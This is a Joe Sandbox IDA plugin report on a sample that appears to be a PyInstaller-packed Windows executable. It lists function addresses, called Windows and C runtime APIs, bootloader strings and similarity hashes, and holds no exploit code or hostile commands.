Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Token$ConvertDescriptorInformationProcessSecurityString$ChangeCloseCreateCurrentDirectoryErrorFindFreeLastLocalNotificationOpen
String ID: D:(A;;FA;;;%s)$S-1-3-4
API String ID: 2187719417-2855260032
Opcode ID: d78f49ae4b380411a75aa6cbb447eda7484dc81e76002bff55da3e5cee019735
Instruction ID: afe01fa4ae117a4522db3966b5b7bd48ad67de0ab2af18032845b44b6bbc953c
Opcode Fuzzy Hash: d78f49ae4b380411a75aa6cbb447eda7484dc81e76002bff55da3e5cee019735
Instruction Fuzzy Hash: 0241863161CA8296EB60AF71F484ABAA360FF857A4F844231FA5E476A5DF3CD444C770

Function 00007FF79EA41AA0 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF79EA481B0: _fread_nolock.LIBCMT ref: 00007FF79EA4825A

_fread_nolock.LIBCMT ref: 00007FF79EA41B54

Part of subcall function 00007FF79EA42890: MessageBoxW.USER32 ref: 00007FF79EA42997

Strings

Could not allocate buffer for TOC!, xrefs: 00007FF79EA41BD6
malloc, xrefs: 00007FF79EA41BDD
Could not read full TOC!, xrefs: 00007FF79EA41C09
fseek, xrefs: 00007FF79EA41B33
Error on file., xrefs: 00007FF79EA41C36
MEI, xrefs: 00007FF79EA41AE2
Failed to read cookie!, xrefs: 00007FF79EA41B5F
Failed to seek to cookie position!, xrefs: 00007FF79EA41B2C
fread, xrefs: 00007FF79EA41B66, 00007FF79EA41C10

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 677216364-1384898525
Opcode ID: 9a8dc730619d31249d4015af2233e25f710a46ce78a2e0685fa874a19269a1b3
Instruction ID: 855ca5f9b9d808a4f8022a37c09d0e7fcb28d44e07af34c432bdf1ca628f1131
Opcode Fuzzy Hash: 9a8dc730619d31249d4015af2233e25f710a46ce78a2e0685fa874a19269a1b3
Instruction Fuzzy Hash: 5F516D72A09A4286EB34EF38D480979B7A0EF99B84B958135D90C877B5EE7CE440C774

Function 00007FF79EA47F80 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF79EA489E0: MultiByteToWideChar.KERNEL32 ref: 00007FF79EA48A1A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF79EA43D22), ref: 00007FF79EA47FCF
GetStartupInfoW.KERNEL32 ref: 00007FF79EA47FEE

Part of subcall function 00007FF79EA564A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA564BC

Part of subcall function 00007FF79EA54248: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA542AF

GetCommandLineW.KERNEL32 ref: 00007FF79EA4808E
CreateProcessW.KERNELBASE ref: 00007FF79EA480D0
WaitForSingleObject.KERNEL32 ref: 00007FF79EA480E4
GetExitCodeProcess.KERNELBASE ref: 00007FF79EA480F4

Strings

Error creating child process!, xrefs: 00007FF79EA48100
CreateProcessW, xrefs: 00007FF79EA48107

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: d825b08e7f8213722baccb384613801bfeab442e381f962a1bcb54389bddb714
Instruction ID: 4bafa1708d03494297710f46d231288fe9535f64fb372bdb7e0868060b8a2040
Opcode Fuzzy Hash: d825b08e7f8213722baccb384613801bfeab442e381f962a1bcb54389bddb714
Instruction Fuzzy Hash: 54413031A08B8285DA30AB34E4956BEF365FBD5764F800735E6AD43AE5DF7CD0448B20

Function 00007FF79EA62494 Relevance: 13.8, APIs: 9, Instructions: 273
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF79EA621C4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA62205
Part of subcall function 00007FF79EA621C4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA62285
Part of subcall function 00007FF79EA621C4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA622D9
Part of subcall function 00007FF79EA621C4: _get_daylight.LIBCMT ref: 00007FF79EA62331

CreateFileW.KERNELBASE ref: 00007FF79EA6259A
CreateFileW.KERNEL32 ref: 00007FF79EA625EA
GetLastError.KERNEL32 ref: 00007FF79EA6261A
GetFileType.KERNELBASE ref: 00007FF79EA6262F
GetLastError.KERNEL32 ref: 00007FF79EA62639
CloseHandle.KERNEL32 ref: 00007FF79EA6266C
CloseHandle.KERNEL32 ref: 00007FF79EA627C7
CreateFileW.KERNEL32 ref: 00007FF79EA627FC
GetLastError.KERNEL32 ref: 00007FF79EA6280B

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: 82e8923be977671dc85c0f7899ee02d888d5c39806c92afe536ffb1660ddf0a1
Instruction ID: 8ddb0447a964789afe4150fe224b385eb3c1a40bbe445b744a62a1c515453d39
Opcode Fuzzy Hash: 82e8923be977671dc85c0f7899ee02d888d5c39806c92afe536ffb1660ddf0a1
Instruction Fuzzy Hash: C0C1B036B24E4289EB60DF74C490ABC7760EB59BA8B514239DA1E477E4DF38D451C330

Function 00007FF79EA41000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF79EA43E90: GetModuleFileNameW.KERNEL32(?,00007FF79EA439BA), ref: 00007FF79EA43EC1

SetDllDirectoryW.KERNEL32 ref: 00007FF79EA43BB9

Part of subcall function 00007FF79EA47A60: GetEnvironmentVariableW.KERNEL32(00007FF79EA439EF), ref: 00007FF79EA47A9A
Part of subcall function 00007FF79EA47A60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF79EA47AB7

Strings

Cannot side-load external archive %s (code %d)!, xrefs: 00007FF79EA43B30
_PYI_ONEDIR_MODE, xrefs: 00007FF79EA43A04, 00007FF79EA43A2F
_MEIPASS2, xrefs: 00007FF79EA439DB, 00007FF79EA43A44, 00007FF79EA43CF2, 00007FF79EA43CFE
Failed to convert DLL search path!, xrefs: 00007FF79EA43BA1
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF79EA43A96
MEI, xrefs: 00007FF79EA43AEB

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-3602715111
Opcode ID: 2969d0634b6313d4c6d91898a8dfdbe2d1d87c3fa11ef7abcc160afb7d176cef
Instruction ID: 595b4d7a306f3047859b97e8deedfa621d74f07f5c65e5106c1185f4eb33f6d2
Opcode Fuzzy Hash: 2969d0634b6313d4c6d91898a8dfdbe2d1d87c3fa11ef7abcc160afb7d176cef
Instruction Fuzzy Hash: 4DB16D21A1CA8255EA34BB3199D1ABDD291FF94B84FC44131EA4D476B7FF2CE9098730

Function 00007FF79EA41050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF79EA410F8, 00007FF79EA41126
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF79EA4111F
1.2.13, xrefs: 00007FF79EA4107E
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF79EA410B4
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF79EA41249
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF79EA410F1

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Message
String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-1655038675
Opcode ID: 3bbf6c18c64704fa27b000cda3f66458baf70d53aa8143dd7fbdc75dc1ea0fd3
Instruction ID: 79bfe2abcdb0e317419bd2f1c58e4eae0ed1ad601f8a416e2668fcaff97126b2
Opcode Fuzzy Hash: 3bbf6c18c64704fa27b000cda3f66458baf70d53aa8143dd7fbdc75dc1ea0fd3
Instruction Fuzzy Hash: ED51B262A0CA8285EA70BB75A4C0BBAA290FBA5794FC44135DD4D877A5FF3CE505C730

Function 00007FF79EA5726C Relevance: 10.8, APIs: 7, Instructions: 291
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA576A2

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2ec5569ab8a1941f337aa7754c41b084211f8f693c721f6c053ec5d2037e5917
Instruction ID: e473307a4ce31289bbb02661455efc58e014fa1f79a954deba553f59062b9e9b
Opcode Fuzzy Hash: 2ec5569ab8a1941f337aa7754c41b084211f8f693c721f6c053ec5d2037e5917
Instruction Fuzzy Hash: 62C1E462A0CA8685E670AB359484A7DFBA1EB90B90FD50131EA4E137B1DF7CEC55C330

Function 00007FF79EA585B8 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA585FA
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79EA58577,?,?,?,00007FF79EA5334F), ref: 00007FF79EA586B8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79EA58577,?,?,?,00007FF79EA5334F), ref: 00007FF79EA58742

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 45cbb135cd0f85d1d846e2e465f9ea49a45de6ab8f9da7c0c0df81e094fb2cd4
Instruction ID: a54133e2aa2c4962c04ab44bf8589ee872aedfe28775b3ced22d1d0701fad03c
Opcode Fuzzy Hash: 45cbb135cd0f85d1d846e2e465f9ea49a45de6ab8f9da7c0c0df81e094fb2cd4
Instruction Fuzzy Hash: 5A817022E18652A9FB70BB7598C0ABCA7A1FB54BA4F844135DE0E536B1DF3CA445C730

Function 00007FF79EA4BFAC Relevance: 7.6, APIs: 5, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF79EA4BFBB

Part of subcall function 00007FF79EA4C17C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF79EA4C19E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF79EA4BFD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF79EA4C03E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF79EA4C091
__scrt_is_managed_app.LIBCMT ref: 00007FF79EA4C0B4

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock
String ID:
API String ID: 4144305933-0
Opcode ID: 902934ce287785604c65689b262d124d2bfc3c88a04624b8aa705ccf2e41092b
Instruction ID: d2a96130dfba234a6a2ab14c7937107e0edb631d460a7ea7ba34ed218b4910fb
Opcode Fuzzy Hash: 902934ce287785604c65689b262d124d2bfc3c88a04624b8aa705ccf2e41092b
Instruction Fuzzy Hash: 4D314820E0964245FA75BB7595D5BB9E281EF81784FC54034E90E4B2F3EE2DA8448331

Function 00007FF79EA5B2D4 Relevance: 6.2, APIs: 4, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF79EA5B3C1
_get_daylight.LIBCMT ref: 00007FF79EA5B3D2
_get_daylight.LIBCMT ref: 00007FF79EA5B3E3
_isindst.LIBCMT ref: 00007FF79EA5B4A9

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 9b03c73119b101001587424fb7506d1f48776e9a435598c7eabfeca695007573
Instruction ID: e1019eea12561b81a1be1de34916ff9583439095cca5c6f467e54f29dd393e45
Opcode Fuzzy Hash: 9b03c73119b101001587424fb7506d1f48776e9a435598c7eabfeca695007573
Instruction Fuzzy Hash: 3651A372F045128AEB34EB7499C1ABCB7A1FB5035AF900139DE1E56AF5DF3CA5428720

Function 00007FF79EA515F0 Relevance: 4.6, APIs: 3, Instructions: 92fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA51621

Part of subcall function 00007FF79EA51BC0: GetDriveTypeW.KERNEL32 ref: 00007FF79EA51C84

CreateFileW.KERNELBASE ref: 00007FF79EA5165F
CloseHandle.KERNEL32 ref: 00007FF79EA5169D

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: CloseCreateDriveFileHandleType_invalid_parameter_noinfo
String ID:
API String ID: 2907017715-0
Opcode ID: 4d02e445216646654ec4cb930eb9345762960bbf98acfedd0a5c8f970fbd01a2
Instruction ID: 553c4ea36094fb1a64014d2dc7f9ddf26ba4c80e42e2e31b85362aff81499037
Opcode Fuzzy Hash: 4d02e445216646654ec4cb930eb9345762960bbf98acfedd0a5c8f970fbd01a2
Instruction Fuzzy Hash: 4631EA72D08B4146E660AF35954067DB690FFB57A4F544335EA6C03AF2DF3CE1A08760

Function 00007FF79EA55A9C Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF79EA55A9B), ref: 00007FF79EA55AC5
TerminateProcess.KERNEL32(?,?,?,00007FF79EA55A9B), ref: 00007FF79EA55AD0
ExitProcess.KERNEL32 ref: 00007FF79EA55ADF

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1dcc90188591506fda0e7bd0332cee00154446f2bed4396dbac5adb68666eb5c
Instruction ID: 5bea6764bb9bb0cd32840e03f2a5a4821fa960026c5d0a163257057be73dc260
Opcode Fuzzy Hash: 1dcc90188591506fda0e7bd0332cee00154446f2bed4396dbac5adb68666eb5c
Instruction Fuzzy Hash: 55E09A20A0460646EA647B319CD9A7DB262EFD9B41F905438D90A433B2CE7DE4488771

Function 00007FF79EA5A8F8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF79EA5A91B

Strings

AppPolicyGetProcessTerminationMethod, xrefs: 00007FF79EA5A901, 00007FF79EA5A914

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: try_get_function
String ID: AppPolicyGetProcessTerminationMethod
API String ID: 2742660187-2031265017
Opcode ID: a9000b520e5bb55d7b9ef04e22633337cab00bbd09e3a2f03b535145424be1de
Instruction ID: 9631b4e8334f3df2362059a493e169f11221f4a6595209167df5924e42bddbf8
Opcode Fuzzy Hash: a9000b520e5bb55d7b9ef04e22633337cab00bbd09e3a2f03b535145424be1de
Instruction Fuzzy Hash: 74E04FA1F05D4695FA2467B5A8849B09251DF09B70FC85331D93D0A3F0AE2C9AA68230

Function 00007FF79EA4DF68 Relevance: 3.2, APIs: 2, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4DFA4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4E0A1

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a7c7f9442e0671f2e73c72eb413d0c0572ec8599d986a26bd203810d182ff316
Instruction ID: ecb8e0291a5b3910d554c39b91f46dade8df58a966f4b4e304c085b0fc18d839
Opcode Fuzzy Hash: a7c7f9442e0671f2e73c72eb413d0c0572ec8599d986a26bd203810d182ff316
Instruction Fuzzy Hash: 5651F661B0924246F674BF359480B7AE691FF94BA4F848630DD6D0B7E5EE3CD4018731

Function 00007FF79EA56988 Relevance: 3.1, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF79EA6270A), ref: 00007FF79EA569EE
GetLastError.KERNEL32(?,?,?,00007FF79EA6270A), ref: 00007FF79EA569F8

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: 52a9a96c7c695bcaa34876d88a40ca02b107573ee7e4230001ae4ff69ccc344f
Instruction ID: fda4def7f1a997e51b4d4a76f5b4cc50257a1f40e5cdce5f6014b7ff38735cc1
Opcode Fuzzy Hash: 52a9a96c7c695bcaa34876d88a40ca02b107573ee7e4230001ae4ff69ccc344f
Instruction Fuzzy Hash: 6E119D21B1C64289EEB0777194D0A7CA292DFC1B64F944235DA2E472F2CE6CA8844232

Function 00007FF79EA57920 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,00007FF79EA5864F,?,?,?,?,?,?,?,?,?,?,?,00007FF79EA58577), ref: 00007FF79EA57964
GetLastError.KERNEL32(?,?,?,00007FF79EA5864F,?,?,?,?,?,?,?,?,?,?,?,00007FF79EA58577), ref: 00007FF79EA5796E

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 1fa03f2e33758bcf25e4d2f540cbfa3ae257ed145adf2c3b33bcffd7bd395a0d
Instruction ID: 7f2538540da3502dda5a8ec8990b3578dd24b3c2b3c31fa0964c6ecfb9a9a0bf
